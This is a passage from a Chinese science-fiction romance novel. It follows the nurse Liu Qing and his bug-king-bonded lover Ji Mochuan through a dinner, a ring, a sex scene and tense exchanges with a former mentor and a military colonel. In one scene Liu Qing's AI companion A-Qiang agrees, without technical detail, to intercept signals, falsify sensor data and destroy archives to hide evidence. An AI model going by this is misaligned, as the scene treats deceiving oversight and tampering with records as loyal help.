季末川对刘清私底下的生活很感兴趣,“你喜欢吃这些?”
刘清“嗯”了一声。“你先试试习不习惯,不喜欢还有其他口味的。”
“我不挑。”
季末川戴上手套给刘清剥虾,一边问:“你的那个师傅克劳斯,能详细说说吗?”
刘清:“怎么?”
季末川:“他对你的态度很暧昧,我有点在意。”
刘清笑了一下,“没到暧昧的程度,真要分类的话,算是以往有点小过节吧。”
季末川把剥好的虾放到刘清的碟子里,“展开说说。”
“在我成为护理师之前,他一直是护理所的首席护理师——他的共感等级是超S。现在不知道有没有到双S。
“我小时候确实都是他带着的,不过因为他也没大我几岁,所以我没有把他当父亲,更像是朋友和兄弟吧。我们的关系很好,直到我十九岁,就是五年前。”
季末川立马就抓住了关键点,“成年前?”
“嗯。”
“他跟你告白了?”
“……没有,但也差不多。”
刘清回忆起几年前的事情,脸上没有任何情爱方面的困扰,反倒是落出一些严肃的沉寂。
“我用介质纤维窥探了他的情绪,也看到了他的欲望和思维——我发现了他喜欢我。
“然后被他发现我在窥探他。”
季末川有些意外,先问了一句,“他生气了?”
刘清点头:“他觉得我一直在愚弄他,明明我的共感等级比他高这么多,却一直装作小傻子似的。还说我才应该是护理所的001号首席护理师,他不想当小丑。于是就走了。”
“心高气傲,经不起挫败。”
季末川评价了一句,神情颇为不屑。
“你为什么会窥探他的情绪?你也喜欢他?”
“不是。”
刘清看着季末川,问,“如果我说,以前我非常喜欢窥探别人的情绪,你会信吗?”
季末川惊讶,随即答道:“信。谁未成年前没干过一些傻事呢?更何况你有这样高的共感域等级,天之骄子,有时候确实拿捏不准常人的界限。”
刘清无意义地扯了一下嘴角。
“并不是青春期的傻事,但确实,当一个人拥有了某方面极高的天赋时,往往就会不自知地模糊一些道德底线。
“我十四岁开始跟着护理,仗着别人看不到我的介质纤维,作弊一样去捕捉病人的情绪——对于服务行业来说,这种能力真的很方便。但人的情绪跟记忆往往是混杂的,我时常也会不小心窥探到别人的记忆或者想法……我也没觉得这有什么问题。
“我不是故意看的,也对这些记忆和想法没兴趣,更不会随便把这些告知他人。我觉得这样就行了,就没问题。”
“直到我发觉克劳斯对我可能有点喜欢。但我并不喜欢他,不是那种喜欢,我不想改变我们之间的关系,我希望我跟他能是永远的朋友和兄弟,甚至成为亲人。
“我很慌。我前,我之前从没有过这样的亲密关系,我不知道该怎么处理,瞻前顾后,最后却选了个最糟糕的方式。”
刘清长长吐出了一口气。
“被克劳斯发现后,他很生气,愤怒。我已经忘记了他当时具体说了些什么,也知道他当时很多话是泄愤,故意想要伤害我。
“但也是这件事让我突然意识到,我之前认为‘方便’‘没问题’的偷懒方式,其实已经在侵犯别人的灵魂,是一种很野蛮霸道的行为。所以从那之后,我就常年构筑着共感屏障,把自己共感等级带来的敏锐降到最低。
“我不想自己在不知不觉中变成个怪物。”
季末川注视着刘清,眼神温柔地像是在用
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目光抚摸着刘清当年的疮口。
“所以你才这么排斥成为王。”
刘清默认。
“所有亚人类的社会关系中,只有虫王绝对不可能和他的子民建立平等的连接。这是客观事实,也是我最不喜欢的一点。
“但我也知道,相对而言,也只有虫王最可能构建一个最平等的社会关系——就像你们一样,许多任虫王接续朝着一个理想去努力,所以虫族现在才能被纳入星际联盟。
“我现如今的位置,虽然不是我的意愿,但也是客观事实。我不想控制别人,也不想被别人控制,所以唯一的答案,就是去努力构建一个没有等级操控的社会关系。”
季末川看着刘清的眼神像是看到了一颗璀璨的宝石。
“刘清,有没有人说过你很勇敢?”
刘清笑了一声,“我收下你的夸奖——所以是给我准备了礼物吗?”
季末川无奈,把手从桌下拿了上来。“你注意到了?”
刘清:“至少目前阶段,我对你的关注不比你对我的关注少。”
热恋,还是两世第一次的恋爱,梁三山那个词倒也没用错:干柴烈火。
季末川拉过刘清的手,往他的无名指上套了一个东西上去。
刘清微讶,心跳得有些快。
那是一个银色的素圈戒指,侧面嵌着六颗细小的蓝色宝石,排成一排,像一排星星。比起在保护区里捡来的钛钢耳钉,像样了太多。
刘清觉得它美得像一颗星子。
刘清屈起手指,看着蓝色宝石在灯光下折射出的微光。
“怎么办?季末川,我什么都没来得及给你准备。”
季末川拉过刘清的手,低头在戒指上亲了一下。
“刘清,能被你唤醒,能和你相爱,能跟你度过一个月的自由时光,就是我这一生最好的礼物。”
刘清的目光闪动,丢下了手里的食物,反手拉住了季末川。
“走吧,我们回去。”
季末川笑得更深了,“这么急?”
刘清“嗯”了一声,看向季末川的眼神跟季末川一样深邃、火热。
“因为我现在就想亲你。”
季末川一下笑出声来。
刘清的脸有些发红,但心里并不窘迫,只有血液奔涌的急切。他叫老板接了账,跟季末川牵着手,几乎是用跑的回了街对面的家。
砰!
房门被两具身体用力撞上,刘清被季末川压在门上,很用力地亲着。
刘清伸手到季末川的衣服里,真实的皮肤触感,和人类无二的肌肉骨骼,但在肋下和背上都有一些“疤痕”的凸起触感——是皮囊。
刘清的衣服被脱掉,长裤被解开,人也被季末川一把抱了起来,几步走回卧室,丢到了床上。
刘清蹬掉自己的裤子,季末川一把扯掉自己的衣服,跪上床垫,弯腰跟刘清接吻。
一个月。不到一个月。
他们谁都不跟跟对方说未来,所以只能紧紧地抓住现在。
38.王破壳了。
回到天黑之前。
梁三山离开病房,但是没有走远。转身在走廊这边,看到老夏他们进去后,她就更没打算离开了。
直到听到克劳斯的名字,看到联盟军一行三人离开。
她跟了上去。
走到一个相对偏僻的角落,克劳斯借故一个人留了下来。等他同行的两人都走远了,克劳斯才转过来,对走出来的梁三山打了招呼。
“三山,怎么还是这么喜欢玩跟踪游戏?”
梁三山面无表情,态度异常冷淡。她上下打量了一番克劳斯,慢条斯理,然后才扯起一个笑。
“你也还是这么虚伪。”
克劳斯的笑容不改,“其实我一直很疑惑,你到底是对我有什么误会?还是我在不知情的情况下,有做任何伤害你的事情吗?总不能是因为我给你们上课的时候,严厉了一些吧?”
梁三山:“或许是因为你对一个未成年人有龌蹉思想,还在被揭露后,把所有过错都扔到这个未成年人身上,导致他留下了心理创伤,而你却拍拍屁股,带着你恭谦温柔的好名声逃之夭夭了。”
克劳斯的笑容渐渐落了下来。
“你不觉得用自己一厢情愿的猜测去评判另一个人,非常不公平,且不礼貌吗?”
“怎么着?你没在二十四岁的时候喜欢上十四岁的刘清?没把这份不干净的喜欢持续到他十九岁?没在被他发现后,大张旗鼓地指责他隐瞒共感等级故意浏览他人意识,导致他到现在都背着恶名?”
“第一,你说的这份喜欢我从未宣之于口,也没有对年少的他有任何踏破底线的行为和想法。如果不是刘清擅自窥探我的共感域,这将永远只是我一个人的秘密。所以,我不觉得你有任何立场和资格在这里对我审判。
“至于我指责他浏览别人意识——这是事实,不是吗?”
克劳斯突然重新扬起了一个笑。
“你说他留下了心理创伤,我看未必。不然空难时监测到的那道共感印痕怎么会出现?
“他到现在都还是老样子,喜欢高高在上审视他人的意识,喜欢这种灵魂凌驾于他人至上的优越感,喜欢放纵自己过高的共感域肆意流窜,丝毫不理会可能造成的严重后果。”
梁三山不气也不辩驳,同样露出个笑,意有所指地说:“看到你也还是老样子,我就安心了。”
克劳斯的脸色微变。
梁三山的电话却在这时候响了起来。她看了一眼,然后对克劳斯笑了一下,“我有事,下次见。”
最后三个字被她说得意味深长,克劳斯盯着她远去的背影锁紧了眉头。
…
梁三山在一个餐厅的包间见到了莱斯特。他身边还有个小女孩,年纪三四岁,白白嫩嫩,扎两个羊角辫,非常可爱。
“露西亚?”
梁三山拉开椅子坐下,视线在露西亚身上停留了一瞬就又收了回来,“她怎么了?”
莱斯特伸手摸了摸露西亚的头,“她很好,只是怕生。”
梁三山记起她之前对刘清的热情模样,不信:“怕生?见面就叫刘清‘妈妈’的那种怕生?”
莱斯特看着梁三山说:“这就是我找你的原因,我想要证实一下我的……梦。”
梁三山看他一眼,“什么梦?”
莱斯特:“关于露西亚被杀死的一个梦。”
座位上的小女孩应声哆嗦了一下,眼里湿漉漉的,朝莱斯特的方向靠去。莱斯特把她抱到怀里,轻轻摸着她的头和背,露西亚就很快被安抚下来。
莱斯特的表情很疲惫,他说:“我想你知道我要问的是什么——这太荒唐了。”
梁三山倒有些意外,“凭一个梦?还是你做了什么?”
莱斯特从终端上拖出了几个虚拟页面,并次排开在梁三山的跟前。
“这是军方对这次空难事故的数据整理,里面有空难发生前后的所有共感数据,里面有两道共感印痕——加上今天保护区的,虽然还没有数据,但是我知道它有,一共是三道。”
共感印痕,只有极强的共感体量爆发时,才会被监测仪器记录下的痕迹。它往往用来记录各种强大的自然灾害。
梁三山看了一眼,“刚才克劳斯也说了共感印痕,‘这道印痕是人’已经是军方的判定了吗?”
莱斯特皱眉,“不是。克劳斯是谁?”
“……”
梁三山若有所思,没有回答。
莱斯特却没有耐性,他伸出手指敲了敲桌面,“能给我个痛快回答吗?”
梁三山看着他,什么也没说,但是顷刻之间,莱斯特只感觉整个房间里的空气都变成了凝固的胶水,沉甸甸地压在他的身上、沉在他的肺里,他瞬间汗出如浆,湿透衣背。
但他怀里的露西亚却一点反应也没有。
这个过程只持续了五秒不到,莱斯特身上的沉重和窒息感就立刻消失了,他“呴”地大口喘了一口气,惊动了他怀里的露西亚,她迷茫地抬头看着莱斯特,似乎又要哭了。
“痛快吗?”梁三山问。
莱斯特沉着脸,眼神像狼一样看着梁三山。
“所以,我们都成了他的奴隶。”
“别说得他好像是为了剥削你才发生这一切的一样,他比任何人都不喜欢现在的情形。”
“……”
梁三山站起来,“我知道你很难接受,没有人可以轻易接受这件事。但你要知道,空难确实只是一场意外。
“所以,如果你真的接受不了自己的灵魂被献祭,以换回了自己的生命这件事,那你大可自我了断。”
莱斯特咄咄逼人,“然后像露西亚一样再被重塑吗?”
梁三山对他的诘问和愤怒嗤之以鼻,“你想要彻底的消亡的话,不需要他,我就可以给予你。”
她朝莱斯特伸出手,张开五指悬在他的脸跟前,“只要你点头。现在,立刻,我给你。”
“……”
沉默。
“呵。”
梁三山收回手,俯视着莱斯特。
“莱斯特先生,你这样阶层的人我在护理所看过太多了,你的身份、地位、家族、财富……你舍得吗?比起无声无息地死在空难里,你敢说不庆幸还能像现在这样重见天日吗?
“你,或许之后还有其他人,只是仗着他是一个仁慈的王,所以就肆无忌惮地把自己变成个受害者,狗胆包天地怪罪他。弄得好像谁对你们的自由和生命垂涎已久似的。”
莱斯特的脸色青白一片。他已经回忆不起来,他活到现在有谁
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敢这样跟他说话过。
他反唇相讥:“我只看出来你很乐意当他的狗,并且狗仗人势得很。”
“激怒我对你没好处,因为我没有他的仁慈——一点都没有。并且我现在的心情也很糟糕。”
梁三山不太熟练地释放出了一些陌生的信息素,像虫子那样。
她的信息素是一种爆裂后的焦糊味道,在这个狭小的空间里,像是下一秒就会点燃空气。
露西亚“哇”地哭了出来,莱斯特的额头也重新渗出一层冷汗——他不想承认,但他的脑袋里确实生出了无尽的恐惧。
梁三山看了哭泣的露西亚一眼,按住自己的眉心,停止了释放信息素。
“莱斯特先生,你是个聪明人。现在你和我,和他,都是一条绳上的蚂蚱。如果你还想要自由,想要活,那最好想想自己该站在哪个位置。
“现在护理所里的眼睛这么多,都想要窥探空难和保护区之后的真相,能不能让咱们平安地活下去,不是他一个人努力就能做到的事。”
梁三山作势要走,莱斯特却又叫住了她。
“他到底想怎样?去虫星,还是占领这里?”
梁三山站了几秒,没有说话,直接离开了。
…
天还没亮,刘清被亲醒了。
季末川压在他身上,一手抚着他的额顶,一手抓着他的手十指相扣,略微用力地亲着他。意识到他醒了后,季末川最后一点小心翼翼也丢开了,松开他的手,然后按住他的下巴压开了他的口腔,迫不及待。
刘清哼了一声,抱住了季末川宽阔的肩膀,手指落在他后颈上轻轻顺了顺。
季末川像是被安抚下来的动物,急躁不安稍退,温柔地舔着刘清的嘴唇。
“怎么了?”
刘清的声音很哑,发声的时候喉咙有干疼的感觉。他吞了口唾沫,一边追着亲了下季末川。
季末川的眼睛在黎明前的夜里发着淡淡的蓝色微光,那光芒流动着,规律闪动,像极了一种联络信号。
“王破壳了。”
季末川的眼神意味不明,他侧着低下头咬了一口刘清的咽喉,发出了一声冷意十足的笑,“我‘归心似箭’。”
刘清的喉结在季末川的舌头下滚动了个上下,说话的时候都能感觉到自己声音的震动。
“所以?”
“所以,我需要你……”
季末川大幅度地挪动了几下,薄被滑落了大半。刘清骤然反弓起身体,又被季末川直接压下来,他的指甲刮破了季末川后颈的皮肤,季末川也不觉得疼,生生把自己压到了底。刘清用力从喉咙里挤出了一句脏话,但又抓着季末川的手臂不放。
晨曦自天边露出鱼肚白,曦光洒在季末川的背上,被刘清的小腿压住的皮囊下,有东西在蠢蠢蠕动:他的翅膀、他的獠牙、他的本能,雨后春笋一样抢夺着他的理智。
太痛苦了。
季末川的嘴角咧开一个森然的笑,他发狠又珍惜地朝前深顶,低头去追刘清的唇,就像叼着一颗完全成熟的柔软蜜果。
疼,撕扯灵魂一般的痛苦,有一个宛如魅鬼的声音在诱惑他回归。
可谁都别想让他放开他甘甜的果实。除非他的骨头和灵魂一起泯灭、再无反抗的獠牙。
39.觉悟。
季末川变得像是一只不安的犬,在刘清给予了他足够的安抚后,他才终于重新短暂地昏睡了一会。
这期间,刘清去浴室洗了个澡。
镜子里的他浑身都是肆意的痕迹——季末川在床上并不算温柔,而这是刘清默许的。他喜欢这种亲密的疼痛。
刘清看了镜子里的自己几秒钟,然后垂下眼睑,遮蔽了镜子里自己的影像。
下一秒,他藏匿在脑后黑发里的“触角”延展出来,它们变成了淡淡的金色,像是刚从窑炉里拿出来的金色玻璃须,但柔软如水母触须,懒散地浮动在空气海中,并不断分裂出了更多的细丝光晕。
这些光晕的尽头消失在空气中,消失的地方有微末的破空痕迹,仿佛探入了另外的空间之中。
很快,刘清身体里看不到的损伤被全部修复,身体的酸疼也随之消散,连带皮肤上的痕迹也都全部消失了。
只有他侧颈上,今早上被季末川咬出的一个浅浅牙印还留着,并且印痕被持续加深,直到洇出了艳丽的红。
像一个印章。
这个过程持续了将近一分钟,金色的细丝光晕们重新收拢回两根,再变透明,最后到肉眼完全不可见。
刘清这才重新掀开眼睑,看向镜子里与往常似乎别无二致的自己。
但好像又完全不一样了。
“……”
刘清转身取下干净的衣服,同时召唤了一声“阿强。”
浴室靠近天花板角落上的壁挂装饰突然亮起一点蓝光,在刘清跟前投影出一个立体的球形体。
它和刘清见过的系统光球很像,只是上头多了简笔的五官。
阿强明面上要依靠载体,但其实这个载体是个仪器就行。
阿强显然知道这一晚都发生了什么,但他这次没有嘴炮,只是有些担心地问刘清,“你还好吗?”
刘清笑了一下,语气如常,“心情不好,但精神还行。——把你的脑袋预热启动一下,要用了。”
“脑袋”是刘清给阿强配置的一个巨大载体,其运载芯片和能源足够支撑阿强碾压和攻破这颗星球上的所有智能。
脑袋就藏在刘清的楼下一层——那也是他买下的,虽然阿强极其不理解刘清为什么不干脆买个别墅。
阿强有些意外,“咋的,你就已经想通了?要行动了?”
它太了解刘清,按理说刘清至少还得纠结一阵子。
“不然呢?继续郁郁寡欢,然后成为别人的盘中餐?虽然我不想当领袖和帝王,但更厌恶被别人掌控。”
刘清的眼神很冷。
这种眼神阿强没有见过,但它一直知道刘清有这样的一面——就像那个保护区里的竞赛游戏。
刘清眨眼间,那抹冷硬又消失不见。他条理分明地对阿强提出要求。
“我现在要你做三件事:
“一,把保护区昨天到今天的监控,包括联盟军拿走的部分,以及后续他们所有的复制动作,全部标记。
“二,如果有任何外传出星球的信号,全部截获、抹除,回传伪装信号。
“三,保护区那边有联盟的一个共感监测仪器,正在监测共感残余印痕信息。克劳斯他们一批入驻的联盟军手里有两份共感印痕的数据,是空难前捕捉的,一份季末川的,一份是我的。照着我的那份,把保护区的这个调成和我的一样。”
阿强听到最后一个的时候一惊,“啥情况?你跟季末川幽会那天被监控了?”
“……”
刘清乜了阿强一眼,才答道:“是空难事故触发了星链的共感防护监控,仪器自动捕捉刻录的。印痕存留的数据不算完善,应该比较好处理——总之把两个数据弄成一样的就行。”
“明白。但我有两个问题。”
“嗯?”
“不是大问题,但第一个,既然军方插手了保护区的事故,那肯定已经形成了一定的存档离线资料,我现在很难定位,可能需要后续入侵智能机器人手动销毁。
“第二个,你确定只是要我对保护区的那些数据标记,不打算赶紧删除吗?留着下崽?”
“删除会立刻引起注意,我需要一个时机。”
“什么时机?”
“比如,一次事故。”
阿强倒抽一口凉气,小心翼翼地问刘清,“虽然我是希望你能硬起来吧,但咱这步子是不是扯得太大了?也没必要立马从圣人变成屠夫吧?”
刘清无语,“你就不能盼我点好?”
阿强:“……这不你自己说的。”
“事故就得死人啊?”
“……”好像也是。
刘清懒得搭理它,低头仔细扣上衬衣的纽扣。
阿强看他打扮,疑惑:“你还去上班?”
刘清莫名其妙地看了它一眼,“你是不是觉得我应该立马原地登基?”
阿强:“……”
光球强的两个圆圈眼睛眨了眨,朝上翻去——这是个望天的动作。但很快圆圈眼睛又翻了下来。
“话又说回来,你登基也该啊。”
刘清:“……”
阿强:“得得得,别瞪,我知道你根正苗红,看不惯帝国主义。但是你现在除了复制虫族的路,还能咋走?”
刘清扯了下嘴角,“‘复制虫族的路’。你怕是想多了,能不被全灭就是我的胜利了。”
“啊?不能够吧?这么悲观的吗?”
刘清反问:“你觉得掌控了十数万人的意识,就天下无敌了吗?这十数万人是什么战争狂魔?还是有什么天杀的大武器?”
阿强一噎。
刘清继续说:“就算是虫族,当初也是因为那颗星球是矿星,它们从寄生开始,到基因污染,到整颗星球的环境浸染。期间没有人来干预,发展到初始的虫族社会也用了足足近百年。
“到现在,虽然虫族让人闻风丧胆,但真的以星球作为战力单位,你真的觉得虫族是无敌的吗?”
阿强哑然。
当然不是,虫族的黄金海令人忌惮,生物科技让人垂涎,但真的以星球为单位,以毁灭性为目的去互相攻击的话……虫星毫无胜算。
“我现在最应该做的,是隐匿自己。而且是必须做到。否则……”
刘清笑叹一声,“否则,我怕是要跟季末川殉情了。”
说曹操曹操到。
刘清的话刚说完,浴室门就被“咔”一声打开,季末川就站在门外。
他只套了一条长裤,双眼已经掩藏不住蓝色的痕迹。看到刘清的时候,他眼里的那抹蓝色更深了。
“刘清,我以为你睡完就跑了。”
他的眼珠飞快挪向旁边的光球,长眉一挑,“阿强?”
阿强尴尬地不去看季末川身上那一
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通精彩纷呈的痕迹,轻咳一声,“对。早。我先去做刘清安排的事了,回头给我搞个载体啊。”
说完光球就立马消失了。
季末川又把视线落回刘清身上,委屈上了,“怎么不叫我?我刚才真的以为你跑了。”
刘清把季末川拉了过去,好笑道:“这是我家,要跑也该是你跑才对吧?”
季末川看到了刘清侧颈上的那个加深过的咬痕,愉快地笑出了声。
“我的。”
他宣布道,然后低头在咬痕上亲了一下,舌尖留恋地用力舔过齿印。
刘清闭眼喘了一声,偏头把季末川的脑袋挪开。
“现在还归心似箭吗? ”
季末川噙着笑,说的话却跟表情截然相反。
“对,还是。而且规则在惩罚我。但我比陛下强,所以他也会因为‘无法约束绝对伴侣’而被规则判不合格,而受到跟我一样的惩罚。”
“什么惩罚?”
“……”
“季末川。别骗我。”
“……”
季末川示弱地拉过刘清的手放在自己脸上,然后按着刘清的食指,滑进了他的嘴巴里。
刘清的指腹被季末川的手指按着,摸过季末川的牙齿,本就有棱角的犬齿,此刻摸上去更像是一把尖刀。
而这样的尖刀,季末川的嘴巴里共有八颗。
季末川的齿关轻合,上下的犬齿咬住了刘清的食指,随时都能刺破他脆弱饱满的指腹,汲取里面的血肉。
但他说话却异常清晰,如果不是那条有力气的舌头说话时会扫过刘清的手指,刘清几乎要怀疑他是用的其他发声器官。
“虫族的王是从厮杀里走出来的,食欲,就是规则对我的惩罚。直到失去理智,直到吃掉一切能为我所用,让我成王的东西。”
“包括我吗?”
季末川却否认了,“我得到的传承来看,我必须要吃掉的是王。走到这一步,我跟王必定要有一个人绝对臣服——献祭灵魂,或者献上生命。而你……”
季末川偏头,吮了一下刘清的手指,做了一个吞吐的动作。
“我对你是别的欲望。”
“……”
刘清抽回自己被弄得湿漉漉的手指,顺手在季末川的胸肌上擦干净了。
“等你跟你的王离了婚,再来跟我表忠心吧。”
季末川失笑出声,“这么冷酷的吗?”
刘清抬头看他,“还有更冷酷的。或许等你跟你的王离婚后,会发现我比你的王更糟糕。”
季末川看着刘清的眼睛,轻而易举就听出了他藏在这些话里的那丝恐惧——恐惧他的厌恶和远离。
“刘清,你忘记了吗?我看过你的灵魂。而且我看到的远比你想象的多得多。
“我喜欢沉默的你,也会喜欢活泼的你。我爱愤怒的你,也会爱忍耐的你。我爱现在的你,也会爱上未来千变万化的你。我爱你爱到,不愿意错过任何一个阶段、任何一个样子的你。
“所以即使你将来变成了你不喜欢的样子,但那时候你一定要记得看着我的眼睛,你一定可以在我的眼睛里,找到那时候的你也会有的可爱的样子。”
季末川牵起刘清的手,低头在他无名指的戒指上落下个吻。
“所以,无论你想做什么,放手去做吧。我会在你的身边,我必定会。”
40.各怀鬼胎。
刘清到护理所的时候还很早,但广场上已经有忙碌的人了——是昨天老夏说的要转移过来的那批空难受灾者。
刘清在广场边上看到了克劳斯。
克劳斯也第一时间发现了刘清,并对同行的人打了个招呼后就朝刘清走了过来。
实际上,刘清不太想跟克劳斯照面,但这会也不好直接走开。
季末川也看到了克劳斯。
他其实并不在意这个曾经对刘清有好感的男人,一个伪君子,他一眼就能看得穿。对他构不成任何的威胁,因他吃醋都显得有些多余。
可是虫王破壳后的规则吸引,让他的共感域敏感得像是刚破壳的幼虫。它们容不得刘清身边有任何一丁点的脏东西,迫不及待地从他的意识海里膨胀出来,变成一只挥舞着触手的深海巨怪,跃跃欲试地隔空想要驱赶走过来的克劳斯。
“……”
季末川不得不伸手按了下眉心,手动控制了一下自己的情绪。
在两边的距离还剩三四米的时候,克劳斯脸上温文尔雅的笑容突然僵住了,而后飞快垮了下去,脚步也慢了。
刘清注意到他的视线在自己的脖子上留了几秒,又落到了季末川身上。
刘清立刻就明白了——他脖子上的咬痕实在明显,而季末川一身的痕迹根本没有打算遮掩,连手腕都有他重叠的两个齿印。
说实话,刘清还是有一丝不自在,且越发不愿意跟克劳斯打上招呼了。
于是刘清干脆一把抓住季末川的手,对克劳斯礼貌地浅浅一点头,就大步朝一边绕开要走。
但他这一动作,却像是给克劳斯按下了什么奇怪的命令开关。
克劳斯立马转身叫住了刘清。
“刘清。”
刘清停下脚步,只把脑袋转过来看着他,“有事?”
克劳斯正想开口,却无意看到刘清的手——那颗戒指在阳光下折射着几粒耀眼的光,实在夺人眼目。
克劳斯的脸皮像是被电打了一样抽搐了一下,然后挤出一个似笑非笑的表情,似怒似怨地说了一句,“你还真是个小疯子,连虫王的绝对伴侣都碰,你不怕引起虫王的不满吗?”
刘清没料到他开口是要说这个,且本来就不乐意听季末川跟虫王的关系,于是心里骤然涌出来一股排斥。
“这是我的私事。”
他不想跟克劳斯有多的纠缠,但克劳斯看他又要走,一下着急了,声音很大,语气严厉地对刘清说道:“你一向做事不计后果,空难连累了这么多人,现在招惹上虫王的绝对伴侣,是想要整个护理所乃至生活区也受你牵连吗!?”
“……”
刘清完全转过身来。
他用一种重新构建人的灵魂的眼神,从一个完全旁观的角度重新打量着眼前的克劳斯。
这样的克劳斯很熟悉,他见过,五年前他“窥探”克劳斯的念想而被他察觉的时候,克劳斯就是这个样子。
一向温和优雅的克劳斯从来没有那样大发雷霆过,他大声斥责刘清的“无礼”“野蛮”,指控刘清一直在“愚弄他人”。紧接着他就那样扔下护理所的首席护理师职位,不告而别。
刘清虽不是一个真的十九岁的少年,但确实是加上上辈子,第一次这样直面一个自己颇有好感的人对自己的情绪倾泻。
那一切都发生得太突然、太猛烈了。
以至于刘清的第一反应是找自己的错处,他不得不怀疑自己是不是真的给予了克劳斯这么大的伤害。
五年前的刘清没有找到答案。但现在的他或许知道答案了。
“你在激动什么?”
刘清问克劳斯,连着穿越五年的时光问五年前的克劳斯。
克劳斯的脸色唰地变了,但又熟练地掩饰起来。
“我不懂你在说什么。我只是作为你曾经的老师和监护人,善意地提醒你不要一错再错而已。”
刘清摇头否认,“不,你没有善意。”
克劳斯的脸色越发难看,眼神流露出受伤,“刘清,你不该这样恶意揣测我。”
刘清还是摇头,“我没有恶意揣测你,更没有截获你的情绪反应。我是双S的共感护理师,我对自己的共感感知准确率有信心——我确定你没有善意。就像五年前,我没有入侵你的共感域,也能确定你对我的感情一样。”
克劳斯皱起眉,“过去的事情我不想再提了。”
“但你不是这么做的。你当初明明知道我没有侵略你的共感域,却大张旗鼓地指责我随意窥探你的思维,弄得护理所对我的‘恶行’人尽皆知后一走了之。
“现在,你又轻飘飘回来,一副宽宏大量的模样对我指手画脚。你在试图重建和我之间的师徒的关系,不是吗?”
克劳斯的脸色铁青。
刘清继续说道:“但你好像太沉溺在自己的世界里了。五年前是这样,现在也是这样。
“把我塑造成你的世界里的反派,一切的过错都推给我,你是不是就能心安理得地当一个受害者,救赎者?”
克劳斯的皮肉都绷紧了,他看上去像是下一秒就要变化成兽的狼人。他还是那样说:“刘清,是你在恶意揣测我。”
刘清没有和他争论。
“这不重要了。但请你必须知道:我跟你现在没有任何的关系,请你不要妄图站在老师或者长辈的立场上来教育我,我也不需要你的这份关怀。”
克劳斯的手捏紧到发抖。
眼看着他立刻就要失控的时候,从他们的斜后方走过来了一个穿制服的人。还是个熟人——莱斯特。
莱斯特今天远没有前两天的神气,尽管面色如常,但眼神里已经满是疲惫。
“怎么了?发生了什么事?”
莱斯特看了刘清跟克劳斯一眼,最终视线落在克劳斯身上。
克劳斯略微低下头整理了一下表情,然后又很快抬头对莱斯特敬了个礼,挂着一个面具似的的温和笑容。
“莱斯特上校。这就是我跟你提过的天才护理师,刘清。昨天我们已经对他进行过简单的问询。而就在刚才,我想你现在也能看出来,他跟虫族的康恩殿下的关系已经进展了很大一步。”
“……”
莱斯特没瞎,但他并不关心这两个人的关系进展到了哪一步。
克劳斯:“从空难的两道印痕,到刘清在保护区装置失控期间出
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现的事实,再到他现在跟康恩殿下的关系。我认为无论是在空难里,还是在保护区事故里,他都有着重大嫌疑,完全有必要对他进行一次共感印痕筛查。”
克劳斯一口气说完,之后目中含凶地看了刘清一眼,那眼神又似乎在期待什么。
但刘清很平静,没有惊慌和恐惧,也没有给他任何反应。
甚至莱斯特也没听进去他的建议,只是急着打发他,“这件事昨天已经在碰头会上探讨过了,等保护区的共感印痕刻录完毕再说。你还有别的事情吗?”
克劳斯僵了两秒,然后轻轻一点头,“没有。我先去处理转移过来的受灾者了。”
…
克劳斯走后,刘清看向了莱斯特,问道:“你们很熟?”
莱斯特有些不习惯被人用这样的语气和神态询问,但他的嘴巴已经下意识先开口给了刘清回答。
“不熟。他是后入住的协调人员,共感域天赋不错,目前主要负责共感域事故痕迹筛查。昨天晚上,我跟第二批人开碰头会的时候见过。你跟他有过节?”
刘清:“可能他觉得有吧。露西亚还好吗?”
这个问题让莱斯特本就疲惫的神情更加乏累了。
他意味深长地看了刘清一眼,答道:“她做噩梦,有些被吓到了。但她的共感域已经恢复功能,可以变回人形态。现在我让后勤的人在照顾她,他们想要给她做一个全身检查。”
刘清敏感地捕捉到他最后一句话的语气的细微差别,于是顺着他的意思延续了这个话题,“做了吗?”
莱斯特反问:“我该给她做吗?”
刘清没说话,只是注视着莱斯特。
莱斯特只感觉刘清的注视像是一番精神拷打,或许只是他先入为主代入了“虫族”的错觉,但是这份错觉也非常真切。
莱斯特稍微移开视线,自言自语地发问,“如果我同意给她做一个全身检查,他们会检查出什么?如果再深入她的共感域,他们又会发现什么?或者直接一个简单的活体组织检查……”
他不是在真的担心露西亚的检查结果,他只是在警示,或者说是告诉刘清,他可以做到的事情。这是他的价值,也是筹码。
刘清:“你说的这些检查,这次空难里的受灾者不少人都一定做过,但到目前为止,除了共感域的损伤,生理上的检测并没有任何惊人的发现,所有的治疗都还有条不紊。所以你不需要过多的担心,又或者。”
刘清顿了两秒才接上话。
“你其实是想告诉我,你要拿露西亚去证明什么?”
莱斯特对刘清的疑惑不置可否。
“我可以,但我没有这么做,可我也可以那样做。取决于你的态度。”
“我的什么态度?”
“你的目标是什么?你想要成为什么?又想要我成为什么?”
刘清认真地看了他一会,非常专注。莱斯特没有感觉到灵魂被侵犯的那种攻击感,但也依旧觉得自己被看穿了。
刘清:“不如换个问法吧。你想要什么?”
莱斯特的瞳孔扩张,被刘清一语中的。
他深吸一口气,吐出两个字:“自由。”
41.虫王的陷阱。
刘清并不意外莱斯特的要求,并且真诚地表示:“这也是我在争取的。”
莱斯特皱起了眉。
刘清像是知道他想要反驳什么,先一步开口说道:“我没有敷衍你,莱斯特上校。你比我更清楚空难里的虫族、地球上的保护区,这两块肥肉对联盟的吸引力。现在有多少眼睛都盯在这里,地球星链基站上部署了多少武器,就等着虫族动作,联盟好一口咬下去。
“这种关头,韬光养晦才是唯一的解法。而你在这个时候,把‘向联盟证明一个新种群的诞生’作为筹码跟我谈判的行为,是在小看我,也是一种无效的要挟——除非你真的蠢到分不清利害,并且想比我先死。”
莱斯特的眼神不服,但竟也没有再发脾气。
“你知道我说的自由不是这个。我要的是你给的新的地位。”
“等我们都平安了再说吧,现在答应你也就是个空头支票。”
刘清的视线朝之前克劳斯离开的方向瞟了一眼。
“印痕的事情,还有保护区里的监控,我需要你的配合。”
“你想灭口吗?”
莱斯特从自己的角度揣测刘清的想法。
刘清飞快皱了下眉,“不至于,不会有人相信他。今天之内我会再联系你,暂时就这样。”
莱斯特欲言又止,最后点点头,转身走了。
…
刘清是要去找塞弗恩特的。
塞弗恩特比谁都更清楚保护区的调频装置,要掩盖保护区里发生过的事情,塞弗恩特那里的信息至关重要。
刘清找了一辆代步车,跟季末川一起去了虫族的护理区。
护理区外,塞弗恩特带着一队虫侍站在大门外头。他们穿着华丽的统一制服,塞弗恩特还拄着一根象征身份的权杖。
不可谓不隆重。
“虫王破壳。对虫子们来说是天大的事。”
